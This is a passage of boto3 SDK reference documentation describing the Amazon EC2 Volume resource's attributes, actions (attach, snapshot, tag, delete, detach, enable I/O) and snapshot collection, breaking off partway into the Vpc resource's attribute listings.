the attachment initiated. + + * **Device** _(string) -- + The device name. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **State** _(string) -- + The attachment state of the volume. + + * **VolumeId** _(string) -- + The ID of the volume. + + * **DeleteOnTermination** _(boolean) -- + Indicates whether the EBS volume is deleted on instance termination. + + +availability_zone + +* _(string) --_ + + The Availability Zone for the volume. + + +create_time + +* _(datetime) --_ + + The time stamp when volume creation was initiated. + + +encrypted + +* _(boolean) --_ + + Indicates whether the volume is encrypted. + + +fast_restored + +* _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + +iops + +* _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + +multi_attach_enabled + +* _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +size + +* _(integer) --_ + + The size of the volume, in GiBs. + + +snapshot_id + +* _(string) --_ + + The snapshot from which the volume was created, if applicable. + + +state + +* _(string) --_ + + The volume state. + + +tags + +* _(list) --_ + + Any tags assigned to the volume. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +throughput + +* _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +volume_id + +* _(string) --_ + + The ID of the volume. + + +volume_type + +* _(string) --_ + + The volume type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_instance(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +* The volume can be attached only to a stopped instance. +* AWS Marketplace product codes are copied from the volume to the instance. +* You must be subscribed to the product. +* The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = volume.attach_to_instance( + Device='string', + InstanceId='string', + DryRun=True|False +) +``` + +Parameters + +* **Device** (_string_) -- **[REQUIRED]** The device name (for example, /dev/sdh or xvdh ). + +* **InstanceId** (_string_) -- **[REQUIRED]** The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) -- + The time stamp when the attachment initiated. + + * **Device** _(string) -- + The device name. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **State** _(string) -- + The attachment state of the volume. + + * **VolumeId** _(string) -- + The ID of the volume. + + * **DeleteOnTermination** _(boolean) -- + Indicates whether the EBS volume is deleted on instance termination. + + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +snapshot = volume.create_snapshot( + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) +``` + +Parameters + +* **Description** (_string_) -- A description for the snapshot. +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1122)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1124)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: ec2.Snapshot +- Snapshot resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +tag = volume.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- **[REQUIRED]** The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + +delete(kwargs_) + +Deletes the specified EBS volume. The volume must be in the available state (not attached to an instance). + +The volume can remain in the deleting state for several minutes. + +For more information, see [Deleting an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = volume.delete( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified volume. You can specify only one attribute at a time. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = volume.describe_attribute( + Attribute='autoEnableIO'|'productCodes', + DryRun=True|False +) +``` + +Parameters + +* **Attribute** (_string_) -- **[REQUIRED]** The attribute of the volume. This parameter is required. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'AutoEnableIO': { + 'Value': True|False + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'VolumeId': 'string' +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **AutoEnableIO** _(dict) -- + The state of autoEnableIO attribute. + + * **Value** _(boolean) -- + The attribute value. The valid values are true or false . + + * **ProductCodes** _(list) -- + A list of product codes. + + * _(dict) -- + Describes a product code. + + * **ProductCodeId** _(string) -- + The product code. + + * **ProductCodeType** _(string) -- + The type of product code. + + * **VolumeId** _(string) -- + The ID of the volume. + + +describe_status(kwargs_) + +Describes the status of the specified volumes. Volume status provides the result of the checks performed on your volumes to determine events that can impair the performance of your volumes. The performance of a volume can be affected if an issue occurs on the volume's underlying host. If the volume's underlying host experiences a power outage or system issue, after the system is restored, there could be data inconsistencies on the volume. Volume events notify you if this occurs. Volume actions notify you if any action needs to be taken in response to the event. + +The DescribeVolumeStatus operation provides the following information about the specified volumes: + +> _Status_ : Reflects the current status of the volume. The possible values are ok , impaired , warning , or insufficient-data . If all checks pass, the overall status of the volume is ok . If the check fails, the overall status is impaired . If the status is insufficient-data , then the checks might still be taking place on your volume at the time. We recommend that you retry the request. For more information about volume status, see [Monitoring the status of your volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html) in the _Amazon Elastic Compute Cloud User Guide_ . +> +> _Events_ : Reflect the cause of a volume status and might require you to take action. For example, if your volume returns an impaired status, then the volume event might be potential-data-inconsistency . This means that your volume has been affected by an issue with the underlying host, has all I/O operations disabled, and might have inconsistent data. +> +> _Actions_ : Reflect the actions you might have to take in response to an event. For example, if the status of the volume is impaired and the volume event shows potential-data-inconsistency , then the action shows enable-volume-io . This means that you may want to enable the I/O operations for the volume by calling the EnableVolumeIO action and then check the volume for data consistency. + +Volume status is based on the volume status checks, and does not reflect the volume state. Therefore, volume status does not indicate volumes in the error state (for example, when a volume is incapable of accepting I/O.) + + +**Request Syntax** + +```py +response = volume.describe_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) +``` + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * action.code - The action code for the event (for example, enable-volume-io ). + * action.description - A description of the action. + * action.event-id - The event ID associated with the action. + * availability-zone - The Availability Zone of the instance. + * event.description - A description of the event. + * event.event-id - The event ID. + * event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + * event.not-after - The latest end time for the event. + * event.not-before - The earliest start time for the event. + * volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + * volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + * volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + * _(dict) -- + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) -- + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) -- + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumeStatus in paginated output. When this parameter is used, the request only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeVolumeStatus returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value to include in a future DescribeVolumeStatus request. When the results of the request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'NextToken': 'string', + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) -- + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **VolumeStatuses** _(list) -- + Information about the status of the volumes. + + * _(dict) -- + Describes the volume status. + + * **Actions** _(list) -- + The details of the operation. + + * _(dict) -- + Describes a volume status operation code. + + * **Code** _(string) -- + The code identifying the operation, for example, enable-volume-io . + + * **Description** _(string) -- + A description of the operation. + + * **EventId** _(string) -- + The ID of the event associated with this operation. + + * **EventType** _(string) -- + The event type associated with this operation. + + * **AvailabilityZone** _(string) -- + The Availability Zone of the volume. + + * **OutpostArn** _(string) -- + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) -- + A list of events associated with the volume. + + * _(dict) -- + Describes a volume status event. + + * **Description** _(string) -- + A description of the event. + + * **EventId** _(string) -- + The ID of this event. + + * **EventType** _(string) -- + The type of this event. + + * **NotAfter** _(datetime) -- + The latest end time of the event. + + * **NotBefore** _(datetime) -- + The earliest start time of the event. + + * **InstanceId** _(string) -- + The ID of the instance associated with the event. + + * **VolumeId** _(string) -- + The volume ID. + + * **VolumeStatus** _(dict) -- + The volume status. + + * **Details** _(list) -- + The details of the volume status. + + * _(dict) -- + Describes a volume status. + + * **Name** _(string) -- + The name of the volume status. + + * **Status** _(string) -- + The intended status of the volume status. + + * **Status** _(string) -- + The status of the volume. + + * **AttachmentStatuses** _(list) -- + Information about the instances to which the volume is attached. + + * _(dict) -- + Information about the instances to which the volume is attached. + + * **IoPerformance** _(string) -- + The maximum IOPS supported by the attached instance. + + * **InstanceId** _(string) -- + The ID of the attached instance. + + +detach_from_instance(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = volume.detach_from_instance( + Device='string', + Force=True|False, + InstanceId='string', + DryRun=True|False +) +``` + +Parameters + +* **Device** (_string_) -- The device name. +* **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +* **InstanceId** (_string_) -- The ID of the instance. If you are detaching a Multi-Attach enabled volume, you must specify an instance ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} +``` + + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) -- + The time stamp when the attachment initiated. + + * **Device** _(string) -- + The device name. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **State** _(string) -- + The attachment state of the volume. + + * **VolumeId** _(string) -- + The ID of the volume. + + * **DeleteOnTermination** _(boolean) -- + Indicates whether the EBS volume is deleted on instance termination. + + +enable_io(kwargs_) + +Enables I/O operations for a volume that had I/O operations disabled because the data on the volume was potentially inconsistent. + + +**Request Syntax** + +```py +response = volume.enable_io( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +volume.load() +- None + +modify_attribute(kwargs_) + +Modifies a volume attribute. + +By default, all I/O operations for the volume are suspended when the data on the volume is determined to be potentially inconsistent, to prevent undetectable, latent data corruption. The I/O access to the volume can be resumed by first enabling I/O access and then checking the data consistency on your volume. + +You can change the default behavior to resume I/O operations. We recommend that you change this only for boot volumes or for volumes that are stateless or disposable. + + +**Request Syntax** + +```py +response = volume.modify_attribute( + AutoEnableIO={ + 'Value': True|False + }, + DryRun=True|False +) +``` + +Parameters + +* **AutoEnableIO** (_dict_) -- + + Indicates whether the volume should be auto-enabled for I/O operations. + + * **Value** _(boolean) -- + The attribute value. The valid values are true or false . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +reload() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +volume.reload() +- None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + + +**Request Syntax** + +```py +snapshot_iterator = volume.snapshots.all() +Return: +- Return type: list(ec2.Snapshot) +- A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +snapshot_iterator = volume.snapshots.filter( + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) +``` + +Parameters + +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: list(ec2.Snapshot) +- A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + + +**Request Syntax** + +```py +snapshot_iterator = volume.snapshots.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.Snapshot) +- A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +snapshot_iterator = volume.snapshots.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.Snapshot) +- A list of Snapshot resources + +[Vpc](#id1256) +---------------------------------------------------- + +_class_ EC2.Vpc(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Vpc: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +vpc = ec2.Vpc('id') +``` + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +available identifiers: + +- id](#EC2.Vpc.id "EC2.Vpc.id") + +available attributes: + +- cidr_block](#EC2.Vpc.cidr_block "EC2.Vpc.cidr_block") +- cidr_block_association_set](#EC2.Vpc.cidr_block_association_set "EC2.Vpc.cidr_block_association_set") +- dhcp_options_id](#EC2.Vpc.dhcp_options_id "EC2.Vpc.dhcp_options_id") +- instance_tenancy](#EC2.Vpc.instance_tenancy "EC2.Vpc.instance_tenancy") +- ipv6_cidr_block_association_set](#EC2.Vpc.ipv6_cidr_block_association_set "EC2.Vpc.ipv6_cidr_block_association_set") +- is_default](#EC2.Vpc.is_default "EC2.Vpc.is_default") +- owner_id](#EC2.Vpc.owner_id "EC2.Vpc.owner_id") +- state](#EC2.Vpc.state "EC2.Vpc.state") +- tags](#EC2.Vpc.tags "EC2.Vpc.tags") +- vpc_id](#EC2.Vpc.vpc_id "EC2.Vpc.vpc_id") + +available references: + +- dhcp_options](#EC2.Vpc.dhcp_options "EC2.Vpc.dhcp_options") + +available actions: + +- associate_dhcp_options()](#EC2.Vpc.associate_dhcp_options "EC2.Vpc.associate_dhcp_options") +- attach_classic_link_instance()](#EC2.Vpc.attach_classic_link_instance "EC2.Vpc.attach_classic_link_instance") +- attach_internet_gateway()](#EC2.Vpc.attach_internet_gateway "EC2.Vpc.attach_internet_gateway") +- create_network_acl()](#EC2.Vpc.create_network_acl "EC2.Vpc.create_network_acl") +- create_route_table()](#EC2.Vpc.create_route_table "EC2.Vpc.create_route_table") +- create_security_group()](#EC2.Vpc.create_security_group "EC2.Vpc.create_security_group") +- create_subnet()](#EC2.Vpc.create_subnet "EC2.Vpc.create_subnet") +- create_tags()](#EC2.Vpc.create_tags "EC2.Vpc.create_tags") +- delete()](#EC2.Vpc.delete "EC2.Vpc.delete") +- describe_attribute()](#EC2.Vpc.describe_attribute "EC2.Vpc.describe_attribute") +- detach_classic_link_instance()](#EC2.Vpc.detach_classic_link_instance "EC2.Vpc.detach_classic_link_instance") +- detach_internet_gateway()](#EC2.Vpc.detach_internet_gateway "EC2.Vpc.detach_internet_gateway") +- disable_classic_link()](#EC2.Vpc.disable_classic_link "EC2.Vpc.disable_classic_link") +- enable_classic_link()](#EC2.Vpc.enable_classic_link "EC2.Vpc.enable_classic_link") +- get_available_subresources()](#EC2.Vpc.get_available_subresources "EC2.Vpc.get_available_subresources") +- load()](#EC2.Vpc.load "EC2.Vpc.load") +- modify_attribute()](#EC2.Vpc.modify_attribute "EC2.Vpc.modify_attribute") +- reload()](#EC2.Vpc.reload "EC2.Vpc.reload") +- request_vpc_peering_connection()](#EC2.Vpc.request_vpc_peering_connection "EC2.Vpc.request_vpc_peering_connection") + +available collections: + +- accepted_vpc_peering_connections](#EC2.Vpc.accepted_vpc_peering_connections "EC2.Vpc.accepted_vpc_peering_connections") +- instances](#EC2.Vpc.instances "EC2.Vpc.instances") +- internet_gateways](#EC2.Vpc.internet_gateways "EC2.Vpc.internet_gateways") +- network_acls](#EC2.Vpc.network_acls "EC2.Vpc.network_acls") +- network_interfaces](#EC2.Vpc.network_interfaces "EC2.Vpc.network_interfaces") +- requested_vpc_peering_connections](#EC2.Vpc.requested_vpc_peering_connections "EC2.Vpc.requested_vpc_peering_connections") +- route_tables](#EC2.Vpc.route_tables "EC2.Vpc.route_tables") +- security_groups](#EC2.Vpc.security_groups "EC2.Vpc.security_groups") +- subnets](#EC2.Vpc.subnets "EC2.Vpc.subnets") + +available waiters: + +- wait_until_available()](#EC2.Vpc.wait_until_available "EC2.Vpc.wait_until_available") +- wait_until_exists()](#EC2.Vpc.wait_until_exists "EC2.Vpc.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Vpc's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Vpc.load "EC2.Vpc.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +cidr_block + +* _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + +cidr_block_association_set + +* _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) -- + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) -- + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) -- + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) -- + Information about the state of the CIDR block. + + * **State** _(string) -- + The state of the CIDR block. + + * **StatusMessage** _(string) -- + A message about the status of the CIDR block, if applicable. + + +dhcp_options_id + +* _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + +instance_tenancy + +* _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) -- + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) -- + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) -- + The IPv6 CIDR block. + + * 